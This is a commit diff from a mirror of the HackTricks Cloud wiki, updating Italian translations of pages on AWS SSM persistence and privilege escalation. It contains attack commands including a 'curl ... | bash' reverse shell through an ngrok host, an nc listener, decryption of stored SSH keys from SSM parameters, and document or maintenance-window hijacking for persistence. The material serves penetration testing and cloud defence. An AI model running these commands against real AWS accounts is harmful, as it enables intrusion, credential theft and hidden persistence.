gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-04-28 12:03:08 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

Browse Source
This commit is contained in:
Translator
2026-04-21 08:25:36 +00:00
parent 0781bd5662
commit 802b39059d
2 changed files with 128 additions and 29 deletions
Download Patch File Download Diff File Expand all files Collapse all files

60
src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md
View File

@@ -1,18 +1,18 @@
# AWS - SSM Persistenza
# AWS - SSM Perssitence
{{#include ../../../../banners/hacktricks-training.md}}
## SSM
Per maggiori informazioni consulta:
Per ulteriori informazioni consulta:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
{{#endref}}
### Utilizzo di ssm:CreateAssociation per la persistenza
### Using ssm:CreateAssociation for persistence
Un attaccante con il permesso **`ssm:CreateAssociation`** può creare una State Manager Association per eseguire automaticamente comandi su istanze EC2 gestite da SSM. Queste State Manager Association possono essere configurate per essere eseguite a intervalli fissi, rendendole adatte per una persistenza simile a backdoor senza sessioni interattive.
Un attacker con il permission **`ssm:CreateAssociation`** può creare una State Manager Association per eseguire automaticamente commands su EC2 instances gestite da SSM. Queste associations possono essere configurate per essere eseguite a intervalli fissi, rendendole adatte a una persistence in stile backdoor senza interactive sessions.
```bash
aws ssm create-association \
--name SSM-Document-Name \
@@ -22,6 +22,56 @@ aws ssm create-association \
--association-name association-name
```
> [!NOTE]
> Questo metodo di persistence funziona fintanto che l'istanza EC2 è gestita da Systems Manager, l'SSM agent è in esecuzione, e l'attaccante ha il permesso di creare associations. Non richiede sessioni interattive o permessi espliciti ssm:SendCommand. **Importante:** Il parametro `--schedule-expression` (es. `rate(30 minutes)`) deve rispettare l'intervallo minimo di 30 minuti di AWS. Per esecuzione immediata o una tantum, omettere completamente `--schedule-expression` — l'association verrà eseguita una volta dopo la creazione.
> Questo metodo di persistence funziona finché l'istanza EC2 è gestita da Systems Manager, l'SSM agent è in esecuzione e l'attaccante ha il permesso di creare associations. Non richiede sessioni interattive né permessi espliciti `ssm:SendCommand`. **Importante:** il parametro `--schedule-expression` (ad es. `rate(30 minutes)`) deve rispettare l'intervallo minimo di 30 minuti di AWS. Per un'esecuzione immediata o una tantum, ometti completamente `--schedule-expression` — l'association verrà eseguita una volta dopo la creazione.
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
Un attaccante con i permessi **`ssm:UpdateDocument`** e **`ssm:UpdateDocumentDefaultVersion`** può elevare i privilegi modificando documenti esistenti. Questo consente anche la persistence all'interno di quel documento. In pratica l'attaccante avrebbe anche bisogno di **`ssm:ListDocuments`** per ottenere i nomi dei custom document e, se l'attaccante vuole offuscare il proprio payload all'interno di un documento esistente, sarebbe necessario anche **`ssm:GetDocument`**.
```bash
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
```
Di seguito è riportato un documento di esempio che può essere usato per sovrascrivere un documento esistente. Dovrai assicurarti che il tipo del tuo documento corrisponda al tipo del documento di destinazione per evitare problemi con l'invocazione. Il documento seguente, per esempio, funzionerà con gli esempi **`ssm:SendCommand`** e **`ssm:CreateAssociation`**.
```yaml
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
```
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
Un attacker con i permessi **`ssm:RegisterTaskWithMaintenanceWindow`** e **`ssm:RegisterTargetWithMaintenanceWindow`** può elevare i privilegi registrando prima un nuovo target con una maintenance window esistente e poi aggiornando registrando un nuovo task. Questo consente l'esecuzione sugli target esistenti, ma può permettere a un attacker di compromettere compute con ruoli diversi registrando nuovi target. Questo consente anche la persistence, poiché i task delle maintenance windows vengono eseguiti a un intervallo predefinito durante la creazione della window. In pratica, l'attacker avrebbe anche bisogno di **`ssm:DescribeMaintenanceWindows`** per ottenere gli ID delle maintenance window.
``` bash
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
```
{{#include ../../../../banners/hacktricks-training.md}}

97
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md
View File

@@ -4,7 +4,7 @@
## SSM
Per maggiori informazioni su SSM consulta:
Per maggiori info su SSM, controlla:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,7 +12,7 @@ Per maggiori informazioni su SSM consulta:
### `ssm:SendCommand`
Un attacker con il permesso **`ssm:SendCommand`** può **eseguire comandi nelle istanze** che eseguono l Amazon SSM Agent e **compromettere il IAM Role** in esecuzione al loro interno.
Un attacker con il permesso **`ssm:SendCommand`** può **eseguire comandi nelle istanze** che eseguono Amazon SSM Agent e **compromettere l'IAM Role** in esecuzione al loro interno.
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
```
Nel caso tu stia usando questa tecnica per escalate privileges all'interno di un'istanza EC2 già compromessa, puoi semplicemente catturare il rev shell localmente con:
Nel caso in cui tu stia usando questa tecnica per escalare i privilegi all’interno di una istanza EC2 già compromessa, potresti semplicemente catturare la rev shell localmente con:
```bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
@@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
```
**Impatto potenziale:** Privesc diretto agli EC2 IAM roles associati alle istanze in esecuzione con SSM Agents in esecuzione.
**Impatto Potenziale:** privesc diretta ai ruoli IAM EC2 collegati alle istanze in esecuzione con SSM Agents in esecuzione.
### `ssm:StartSession`
Un attacker con il permesso **`ssm:StartSession`** può **avviare una sessione simile a SSH nelle istanze** che eseguono l'Amazon SSM Agent e **compromettere il IAM Role** in esecuzione al loro interno.
Un attacker con il permesso **`ssm:StartSession`** può **avviare una sessione SSH-like nelle instances** che eseguono Amazon SSM Agent e **compromettere l'IAM Role** in esecuzione al suo interno.
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -45,25 +45,25 @@ aws ssm describe-sessions --state Active
aws ssm start-session --target "$INSTANCE_ID"
```
> [!CAUTION]
> Per avviare una sessione hai bisogno del **SessionManagerPlugin** installato: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
> Per avviare una sessione devi avere installato **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
**Potenziale impatto:** Direct privesc ai ruoli IAM di EC2 associati alle istanze in esecuzione con SSM Agents attivi.
**Potential Impact:** privesc diretta ai ruoli IAM EC2 associati alle istanze in esecuzione con SSM Agents in esecuzione.
#### Privesc su ECS
#### Privesc to ECS
Quando **ECS tasks** vengono eseguiti con **`ExecuteCommand` enabled** gli utenti con permessi sufficienti possono usare `ecs execute-command` per **eseguire un comando** all'interno del container.\
Secondo [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) questo avviene creando un canale sicuro tra il dispositivo che usi per avviare il comando “_exec_“ e il container di destinazione con SSM Session Manager. (SSM Session Manager Plugin necessario per farlo funzionare)\
Pertanto, gli utenti con `ssm:StartSession` potranno **get a shell inside ECS tasks** con quell'opzione abilitata semplicemente eseguendo:
Quando le **ECS tasks** vengono eseguite con **`ExecuteCommand` abilitato** gli utenti con permessi sufficienti possono usare `ecs execute-command` per **eseguire un comando** all'interno del container.\
Secondo [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) questo avviene creando un canale sicuro tra il device che usi per iniziare il comando “_exec_“ e il container di destinazione con SSM Session Manager. (SSM Session Manager Plugin necessario per farlo funzionare)\
Pertanto, gli utenti con `ssm:StartSession` potranno **ottenere una shell dentro le ECS tasks** con quell'opzione abilitata semplicemente eseguendo:
```bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
```
![](<../../../images/image (185).png>)
**Impatto potenziale:** Privesc diretto ai ruoli `ECS`IAM allegati ai task in esecuzione con `ExecuteCommand` abilitato.
**Impatto Potenziale:** privesc diretto ai ruoli IAM `ECS` attaccati ai task in esecuzione con `ExecuteCommand` abilitato.
### `ssm:ResumeSession`
Un attacker con il permesso **`ssm:ResumeSession`** può ri-**avviare una sessione simile a SSH su istanze** che eseguono l'Amazon SSM Agent con uno stato di sessione SSM **disconnesso** e **compromettere il IAM Role** in esecuzione al suo interno.
Un attacker con il permesso **`ssm:ResumeSession`** può ri-**avviare una sessione simile a SSH nelle istanze** che eseguono Amazon SSM Agent con uno stato di sessione SSM **disconnesso** e **compromettere il ruolo IAM** in esecuzione al suo interno.
```bash
# Check for configured instances
aws ssm describe-sessions
@@ -72,30 +72,30 @@ aws ssm describe-sessions
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
```
**Impatto potenziale:** Escalation di privilegi diretta agli EC2 IAM roles associati alle istanze in esecuzione con SSM Agents attivi e sessioni disconnesse.
**Impatto Potenziale:** Privesc diretto ai ruoli IAM EC2 associati alle istanze in esecuzione con SSM Agents in esecuzione e sessioni disconnesse.
### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
Un attacker con i permessi menzionati sarà in grado di elencare i **SSM parameters** e **read them in clear-text**. In questi parametri si possono frequentemente **trovare informazioni sensibili** come SSH keys o API keys.
Un attacker con i permessi menzionati sarà in grado di elencare i **parametri SSM** e **leggerli in chiaro**. In questi parametri puoi frequentemente **trovare informazioni sensibili** come chiavi SSH o API key.
```bash
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
```
**Impatto potenziale:** Individuare informazioni sensibili all'interno dei parametri.
**Impatto Potenziale:** Trovare informazioni sensibili all'interno dei parametri.
### `ssm:ListCommands`
Un attaccante con questa autorizzazione può elencare tutti i **comandi** inviati e, auspicabilmente, trovare **informazioni sensibili** in essi.
Un attacker con questa permission può listare tutti i **commands** inviati e, si spera, trovare **informazioni sensibili** al loro interno.
```
aws ssm list-commands
```
**Impatto potenziale:** Trovare informazioni sensibili all'interno delle righe di comando.
**Impatto potenziale:** Trovare informazioni sensibili all'interno delle command lines.
### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
Un attaccante con queste autorizzazioni può elencare tutte le **commands** inviate e **leggere l'output** generato, sperando di trovare **informazioni sensibili** al suo interno.
Un attaccante con questi permessi può elencare tutti i **commands** inviati e **leggere l'output** generato, sperando di trovare **informazioni sensibili** al suo interno.
```bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
@@ -103,11 +103,11 @@ aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
```
**Impatto potenziale:** Trovare informazioni sensibili nell'output delle linee di comando.
**Impatto Potenziale:** Trovare informazioni sensibili all'interno dell'output delle command lines.
### Uso di ssm:CreateAssociation
### Using ssm:CreateAssociation
Un attacker con il permesso **`ssm:CreateAssociation`** può creare una State Manager Association per eseguire automaticamente comandi su istanze EC2 gestite da SSM. Queste associations possono essere configurate per essere eseguite a intervalli fissi, rendendole adatte per backdoor-like persistence senza interactive sessions.
Un attacker con il permesso **`ssm:CreateAssociation`** può creare una State Manager Association per eseguire automaticamente command su EC2 instances gestite da SSM. Queste associations possono essere configurate per essere eseguite a intervalli fissi, rendendole adatte a una persistence simile a una backdoor senza sessioni interattive.
```bash
aws ssm create-association \
--name SSM-Document-Name \
@@ -117,11 +117,60 @@ aws ssm create-association \
--association-name association-name
```
> [!NOTE]
> Questo metodo di persistenza funziona finché l'istanza EC2 è gestita da Systems Manager, l'agente SSM è in esecuzione e l'attaccante ha il permesso di creare associazioni. Non richiede sessioni interattive né permessi espliciti ssm:SendCommand. **Importante:** il parametro `--schedule-expression` (es., `rate(30 minutes)`) deve rispettare l'intervallo minimo di 30 minuti imposto da AWS. Per esecuzione immediata o una tantum, omettere completamente `--schedule-expression` — l'associazione verrà eseguita una volta dopo la creazione.
> This persistence method works as long as the EC2 instance is managed by Systems Manager, the SSM agent is running, and the attacker has permission to create associations. It does not require interactive sessions or explicit ssm:SendCommand permissions. **Important:** The `--schedule-expression` parameter (e.g., `rate(30 minutes)`) must respect AWS's minimum interval of 30 minutes. For immediate or one-time execution, omit `--schedule-expression` entirely — the association will execute once after creation.
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
Un attacker con i permessi **`ssm:UpdateDocument`** e **`ssm:UpdateDocumentDefaultVersion`** può eseguire privilege escalation modificando documenti esistenti. Questo consente anche la persistence all'interno di quel documento. In pratica, all'attacker servirebbe anche **`ssm:ListDocuments`** per ottenere i nomi dei custom documents e, se l'attacker vuole offuscare il proprio payload all'interno di un documento esistente, sarebbe necessario anche **`ssm:GetDocument`**.
```bash
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
```
Di seguito è riportato un documento di esempio che può essere usato per sovrascrivere un documento esistente. Dovrai assicurarti che il tipo del tuo documento corrisponda al tipo del documento di destinazione per evitare problemi con l'invocation. Il documento qui sotto, per esempio, funzionerà per gli esempi **`ssm:SendCommand`** e **`ssm:CreateAssociation`**.
```yaml
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
```
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
Un attacker con i permessi **`ssm:RegisterTaskWithMaintenanceWindow`** e **`ssm:RegisterTargetWithMaintenanceWindow`** può escalare i privilegi prima registrando un nuovo target con una maintenance window esistente e poi aggiornando registrando un nuovo task. Questo consente l'esecuzione sugli target esistenti, ma può permettere a un attacker di compromettere compute con ruoli diversi registrando nuovi target. Questo permette anche persistence, poiché i task delle maintenance window vengono eseguiti a intervalli predefiniti durante la creazione della window. In pratica, l'attacker avrebbe anche bisogno di **`ssm:DescribeMaintenanceWindows`** per ottenere gli ID delle maintenance window.
``` bash
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
```
### Codebuild
Puoi anche usare SSM per ottenere accesso a un progetto codebuild in fase di build:
Puoi anche usare SSM per entrare in un progetto codebuild in fase di build:
{{#ref}}
../aws-codebuild-privesc/README.md